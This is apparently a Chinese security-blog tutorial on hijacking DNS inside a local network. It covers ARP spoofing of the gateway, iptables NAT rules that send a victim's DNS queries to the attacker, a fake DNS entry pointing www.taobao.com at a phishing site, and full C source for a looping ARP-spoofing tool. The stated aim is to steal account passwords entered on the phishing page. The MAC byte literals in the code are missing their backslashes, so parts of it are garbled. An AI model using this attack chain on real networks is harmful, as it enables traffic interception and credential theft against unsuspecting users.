以下讲述本人最近设计的一套基于局域网的dns劫持方法,其最终能实现的目的是:只用一台接入到某个局域网的计算机,该计算机可以对该局域网内指定的计算机发起dns劫持,使被dns劫持的计算机的可以正常的上网,但是访问某个特定网站时候,转到的是我们的钓鱼网站。整套dns劫持模式由以下元素组成:arp欺骗,nat 转发,搭建web服务器,搭建dns服务器,这些都是在我们接入到局域网的要实施攻击的那台机器完成的。

首先,要理解这套dns劫持方法,要有一定的网络基础知识和网络编程基础(要编写arp欺骗程序,或者各位用我已经写好的程序也成),我就先大致给各位讲一下,具体的可以参考各类书籍,比如<tcp/ip详解卷1>和<unix网络编程 卷1>。

目前大多数局域网都是以交换机为媒介的交换式网络,交换式网络就是各个计算机以星型布线方式连到一台交换机上,局域网内 的这些计算机互相通信是根据mac地址来通信。

具体的通信方式请看下图讲解:

DNS劫持教程-局域网-RadeBit瑞安全

比如pc1要和pc2通信,pc1首先要先知道pc2的mac地址,因为pc1发送报文给交换机的时候交换机是根据报文中的目的mac地址来决定把报文发送到哪个交换机端口的,但是目前pc1只知道pc2的ip地址,不知道其mac地址,于是pc1发送一个arp广播来询问pc2的mac地址,p2收到广播报文,回复了一个arp报文给pc1告诉其mac地址,于是pc1在接下来与pc2的通信中,就可以带上这个mac地址来和pc2通信,交换机充当的是中间的媒介作用,比如pc1发送的报文中带上了pc2的mac地址,交换机知道该mac地址对应的端口是B,于是交换机就把该报文从端口B发出去给pc2。交换机根据mac地址来转发报文的特性,决定了如果这时候有一台pc3接入到交换机上,pc3是获取不到pc1发送给pc2的报文的,因为不同主机的mac地址不同。即使网卡开了混杂模式也不行。理解了这点,我们来讲讲内网的arp欺骗。

DNS劫持教程-局域网-RadeBit瑞安全

如图,这时候加入了一台pc3,arp欺骗实现的目的是使pc1原本要发送给pc2的报文错误的发给 了pc3。要实现这个欺骗,让我们回到pc1与pc2通信的初始阶段,也就是pc1发送arp广播报文询问pc2的mac地址的时候,这个时候pc3发送arp应答,欺骗pc1自己是pc2,并且附上了自己的mac地址,pc1收到pc3发送的报文的时候,以pc3的mac地址当做pc2的mac地址,接下来pc1原本要发送给pc2的报文中带上了pc3的mac地址,交换机根据mac地址来判断需要把报文转发给pc3,pc3也就成功的窃取了pc1发送给pc2的报文了。这个就是一个简单的arp欺骗了,我们的dns劫持就是基于局域网的arp欺骗来实现的。关于pc3怎么发送arp欺骗报文,这里就需要通过写代码来实现了。具体代码我这里写了一份,稍后附上。

接下来来亲自试验下,先给各位看下我的主机所在局域网的网络拓扑图,我的机器是Linux系统的,用好ifconfig和nmap命令就可以勾画出网络拓扑图了,nmap的主机扫描功能可获知局域网内有上线的机器,以寻找受害者。

DNS劫持教程-局域网-RadeBit瑞安全

我和要攻击的对象在同一个网域中,dns服务器在另外一个网域中,要访问dns服务器首先要通过网关。这种架构是典型的局域网架构,把dns服务器和我们用户的机子隔离开防范dns服务器被攻击,试想如果dns服务器和我们用户的机子在同一个网域内,那不就可以通过我上述所讲的arp欺骗很轻易的实现dns劫持吗。针对这种架构的dns劫持,我的想法是先劫持网关,因为受害者pc2访问dns服务器的时候总是要通过网关来的,劫持了网关之后,pc2发往网关的报文都被pc1获取了(甚至不止实现dns劫持这么简单)

我们知道网关的作用是不同网域间的通信,如果我们内网的机子需要访问其它网域比如因特网,就需要网关来进行报文的转发,如果pc1劫持了网关之后,pc2发送了报文给pc1,但是pc1没有进行报文转发,pc2也就得不到响应,pc2也就呈现出了断网的状态,这个和我们dns劫持的初衷就不符了,我们的目的是使受害者访问一个网站(比如www.taobao.com)的时候跳到的是我们自己的钓鱼网站,受害者对于因特网的访问还是要正常的,然后我们可以获取受害者在我们的钓鱼页面填入的任何数据,比如账号密码等。那既然我们不能让pc2出现断网状态,那我们在收到pc2发给我们的报文之后要怎么做呢,我们可以把报文转发给网关,让网关去把报文发送出去,这样pc2可以正常上网,具体流程看下图:

DNS劫持教程-局域网-RadeBit瑞安全

我们可以监测到pc2上网时候所发送的所有报文,对其进行控制。那我们pc1怎么进行报文转发呢,用到的是iptables 的nat 功能来进行转发,不熟悉iptables nat的同学可以先去百度谷歌学习下,当然,我们不需要把所有报文都转发给网关,比如pc2发送dns查询报文的时候,我们可以把这个报文直接交给我们的机子pc1来处理,这样dns不就被我们劫持了吗。iptables的具体指令如下所示,dns报文是基于udp,端口是53,前两条指令是实现转发除了dns查询以外的报文给网关,第三条指令实现把dns报文指定到我们机器上。

iptables -t nat -A POSTROUTING -p udp !--dport 53 -j SNAT --to 10.218.86.118

iptables -t nat -APOSTROUTING -p tcp -j SNAT --to 10.218.86.118

iptables -t nat -A PREROUTING -j DNAT --to 10.218.86.114

现在我们已经控制好了报文的流向了,现在可以进行下一步工作了,在我们pc1机器上搭建dns服务器和web服务器,搭建的教程搭建还是去百度谷歌学习下吧。我们以www.taobao.com为例子,在我们搭建dns服务器的时候指定www.taobao.com的ip到我们pc1的ip上,也就是10.218.86.114。然后我们在pc1的web服务器上搭建一个www.taobao.com为域名的钓鱼网站。这样pc2获取的页面也就是我们页面了。我们也就可以随心所欲了。

所有工作都做好之后,我在pc2上访问www.taobao.com的时候,出现了如下页面,注意到左上角的那段文字了吗,嘿嘿。

DNS劫持教程-局域网-RadeBit瑞安全

最后,贴下arp欺骗的代码吧

#include<stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include<string.h>
#include<netinet/in.h>
#include<stdlib.h>
#include<unistd.h>
#include<net/ethernet.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <sys/ioctl.h>
struct _ethhdr {
	unsigned char dsteth[6];
	unsigned char srceth[6];
	unsigned short type;
}
;
struct _arphdr {
	unsigned short hdtype;
	unsigned short protype;
	unsigned char hdaddrlength;
	unsigned char proaddrlength;
	unsigned short op;
	unsigned char srcaddr[6];
	unsigned char srcip[4];
	unsigned char dstaddr[6];
	unsigned char dstip[4];
}
;
main(void) {
	int fd;
	struct sockaddr_ll dstaddr;
	struct _ethhdr* ethhdr;
	struct _arphdr* arphdr;
	struct ifreq ifr;
	char buf[100];
	char srcip[4];
	char dstip[4];
	char srceth[6] = "x23xc0x21xbfx0bx48";
	char dsteth[6] = "xecxf4xabx21xf3x02";
	inet_aton("10.218.86.1", srcip);
	inet_aton("10.218.86.118", dstip);
	if((fd =socket(PF_PACKET,  SOCK_RAW, htons(ETH_P_ARP))) == -1) {
		perror("error socket:");
		return 1;
	}
	memset(buf, 0, 100);
	ethhdr = (struct _ethhdr*)buf;
	memcpy(ethhdr->srceth, srceth, 6);
	memcpy(ethhdr->dsteth, dsteth, 6);
	ethhdr->type = htons(0x0806);
	arphdr = (struct _arphdr*)(buf + sizeof(struct _ethhdr));
	arphdr->hdtype = htons(0x0001);
	arphdr->protype = htons(0x0800);
	arphdr->hdaddrlength = 0x06;
	arphdr->proaddrlength = 0x04;
	arphdr->op = htons(0x0002);
	memcpy(arphdr->srcaddr, srceth, 6);
	memcpy(arphdr->srcip, srcip, 4);
	memcpy(arphdr->dstaddr, dsteth, 6);
	memcpy(arphdr->dstip, dstip, 4);
	memset(&dstaddr, 0, sizeof(struct sockaddr_ll));
	dstaddr.sll_family = htons(AF_PACKET);
	dstaddr.sll_protocol = htons(ETH_P_ARP);
	dstaddr.sll_hatype = htons(0x0001);
	dstaddr.sll_pkttype = PACKET_HOST;
	dstaddr.sll_halen = 6;
	memcpy(dstaddr.sll_addr, dsteth, 6);
	strcpy(ifr.ifr_name, "eth0");
	ioctl(fd, SIOCGIFINDEX, &ifr);
	dstaddr.sll_ifindex = ifr.ifr_ifindex;
	int i = 0;
	for (;;) {
		if(sendto(fd, buf, sizeof(struct _ethhdr) + sizeof(struct _arphdr), 0,  (struct sockaddr*
		)&dstaddr, sizeof(struct sockaddr_ll)) == -1) {
			perror("error sendto:");
		}
	}
}